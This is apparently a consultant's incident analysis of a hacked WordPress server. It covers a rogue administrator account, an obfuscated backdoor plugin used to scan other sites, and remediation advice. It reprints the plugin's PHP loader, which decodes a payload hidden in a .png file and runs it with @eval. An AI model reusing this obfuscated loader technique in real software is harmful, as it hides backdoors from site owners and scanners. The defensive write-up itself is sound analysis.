Anatomy of a hacked Wordpress exploit
Context
A customer received an alert from their hosting provider saying that a server linked to their account was being actively used for non-legitimate purposes. Indeed, a search on online services listing the origin of current attacks listed the server's IP address several times (27) over the last 14 days .
In addition, the use of the server resources was clearly demonstrating something abnormal: a high number of python processes were running and using a lot of resources.
I was therefore called in order to target the problem and to stop it.
By analyzing the logs, the processes, the code in place and the abuse alerts, I was able to retrace the events and discover how this could have happened.
Creating a backdoor
System logs showed that, several months before the server was exploited for malicious purposes, an administrator user had been created in the Wordpress database. It was not a user created or used by the website team.
Everything suggests that this user was created using a Wordpress or a plugin security flaw that had not been fixed or updated.
Although the user was created at that time, it was not used for several months.
Latent security vulnerability
At least 3 months passed between the creation of the backdoor (the Wordpress user) and its exploitation. It should also be noted that the IP addresses used for these two steps did not match, although both are associated with Russia.
Three hypotheses seem plausible to explain the timelapse during the backdoor was not exploited:
- Sale of the user account to another organization: it is possible that the creation of the backdoor and the exploitation of the flaw are attributable to two criminal groups, and that one sells the accounts created (credentials) to the other.
- Strategy to be more discreet: it is also possible that they minimize the chances of being spotted in this way. Indeed, it is more difficult to link the creation of the administrator account to subsequent illicit activities if several months pass between the two events.
- Simply a two-step attack: it is possible that this is simply the modus operandi. First, they create multiple entry points on several servers, then we exploit them all simultaneously when a critical mass of servers are available to hackers. This could allow for a stronger and shorter attack, maximizing the chance of success.
Installation of malicious code
Installation
At the time of installation of the malicious code, there was a connection to Wordpress with a valid administrator account (the one created previously). Then, a Wordpress plugin containing malicious code (in this case it was named ezoteqyqo
) was immediately downloaded and activated.
[HACKER IP ADDRESS] - - [02/Sep/2024:00:02:31 -0400] "GET /wp-login.php HTTP/1.0" 200 3044 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
[HACKER IP ADDRESS] - - [02/Sep/2024:00:02:39 -0400] "POST /wp-login.php HTTP/1.0" 302 1665 "https://www.exemple.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
[HACKER IP ADDRESS] - - [02/Sep/2024:00:02:56 -0400] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.0" 200 36252 "https://www.exemple.com/wp-admin/plugin-install.php?tab=upload" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
[HACKER IP ADDRESS] - - [02/Sep/2024:00:03:13 -0400] "GET /wp-admin/plugins.php?action=activate&plugin=ezoteqyqo%2Fezoteqyqo.php&_wpnonce=1ca51e3599 HTTP/1.0" 302 1034 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
In less than 45 seconds, the plugin was installed, making the server available to hackers.
Encoding of the plugin (obfuscate)
As shown in the screenshot above, the plugin name and its file names are a series of random letters. The names of the variables in the few PHP files are also random and do not carry any meaning.
Similarly, the code executed is encoded into strings using base64 and a lookup table. This is a rudimentary encoding, similar to the child's game of matching letters of the alphabet to others, so that only the one who has a copy of the lookup table will be able to read the message.
But in this case, the correspondence tables are directly in the plugin, so the idea is not to protect the code, but to make its detection more complex.
Once the character strings are decoded, they are executed using PHP's @eval()
function, which allows text to be executed as if it was source code.
Most of the code is encoded and stored in files with image extensions to further obfuscate it.
// The function that transposes the content with the values of the encoding table
function ozitaxu_yfiqyzi($yhupema_cycyruw) {
$onochaj = "Dr7i04HTSkiNOY4l6hMS3QP/p5sp=9URW15nd8+X1qqCZ2vuywu02oFehHkFwMtJcsobgLldmjY3jazArV86QtVzbc97exIWKOXPfmGB/ZNfJGRUEyBDxEAKCILga=Tvn+";;
$adokyp = array();
for ($imizhev = 0; $imizhev < strlen($onochaj); $imizhev += 2) {
$depoha = substr($onochaj, $imizhev, 1);
$shaxefa = substr($onochaj, $imizhev + 1, 1);
$adokyp[$depoha] = $shaxefa;
}
$wehyto = strtr($yhupema_cycyruw, $adokyp);
return base64_decode($wehyto);
}
// The function that reads the contents of files with image extensions
function hyxavep_oqadeta($yhupema_cycyruw) {
$owevik = @file_get_contents($yhupema_cycyruw);
$owevik = substr($owevik, 3);
return ozitaxu_yfiqyzi($owevik);
}
// Executing the code with @eval
$tejucep = hyxavep_oqadeta(__DIR__ . "/asset" . "s/imag" . "es/yn" . "ibug" . ".png");
if ($tejucep) @eval($tejucep);
As the name of the plugin, the name of the files, the names of the variables, the correspondence tables and therefore the contents of the files are different with each installation, detecting the malicious code is very difficult for standard detection tools, like ImunifyAV.
What does the plugin consist of?
The Wordpress plugin simply installs a hacking tool that is agnostic, meaning it works on any system with PHP, whether with or without Wordpress.
It provides hackers with an user interface (UI) accessible from any web browser. But there is a good chance that they do not use this interface directly and that they implement automation to send commands to all infected servers. Technically, this would simply involve creating an automated HTTP requests system (POST) to these entry points, a trivial task for any programmer.
Exploitation of malicious code
Immediately after its installation, the tool began to be exploited. The sites that record the attacks received dozens of notices for the server in a few days.
It is possible to run just about anything on the server with this tool. The only limitation is that this will run with the permissions (and restrictions) of the system user PHP is running as.
In our case, an abnormal number of Python processes were running and using a lot of resources. Additionally, these processes were tied to a single operating system user who did not have to rely so extensively on Python scripts. This made it possible to target the infected site more quickly.
By linking this information, we can come to the conclusion that the server was running, among other things, Python software aimed at finding security vulnerabilities on other servers, mainly on Wordpress sites.
What is the use of a server for a hacker?
A hacked server can be used for several purposes:
- As in our case, servers can be used to find security vulnerabilities on other sites. They can potentially create entry points there that can be used later, or sold to other criminal groups.
- Servers can be used for their GPU/CPU power. We have previously seen these tools used to create cryptocurrencies (mining) that can be generated with CPUs (such as Monero).
- Servers can be used to send phishing emails (SPAM).
- Servers can be used to host phishing micro websites (e.g. clones of banking institution login pages to steal credentials).
- Encrypt the server data and demand a ransom (ramsonware).
- Steal private data (for resale, or to demand ransom).
Consequence on private data
Private data can also be put at risk by such infiltrations. This threat should not be overlooked, as it could jeopardize the credibility of your business and the security of your customers.
How to avoid such a situation
Avoiding web server hacking requires the intervention of professionals who have knowledge of a wide spectrum of elements that make up a website.
Here are some initial recommendations for the team responsible for a Wordpress website:
- Limit the number of plugins and themes used on your site, and only use very popular plugins from authors with a good reputation.
- Use an up-to-date version of Wordpress, plugins and server components.
- Use unique and complex passwords. When possible, enable two-factor authentication (2FA) for accounts.
- Monitor active administrator accounts on the site.
- Disable the ability to install plugins from the Wordpress interface. Installation of plugins should be done by people who are able to read the code and understand the implications of each plugins.
- Disable low security services to your server.
- Proceed to regular audits of the plugins used on the site.
- Proceed to regular audits of active administrator accounts on the site.
- Proceed to regular audits of the security practices in place.
Do not hesitate to contact me to review the status of your sites or applications. This will allow you to ensure that you do everything you can to protect yourself.
What to do when this happens
Malware often implements strategies to be automatically reinstalled even if you believe having removed it. It is essential to have a clear and flawless process to eradicate the threat.
Here are some key steps:
- Do an audit of the plugins used on the website and eliminate those that are not secure or necessary.
- Do an audit of the website administrator accounts and remove those that are not useful or were not created by your team.
- Rebuild all Wordpress files from original source codes with updated versions.
- When possible, completely rebuild the server environment from an initial server image.
- Verify that good security practices both at the website and server level, are in place (configurations, tools, processes, etc.).
- Set new Authentication unique keys and salts using this tool : https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org. This will en all current Wordpress sessions.
It will then be essential to review your processes and methods in order to prevent this from happening again.
Contact me for more details and help in restoring your site and securing your server environment after such a situation, or even better, before this happens...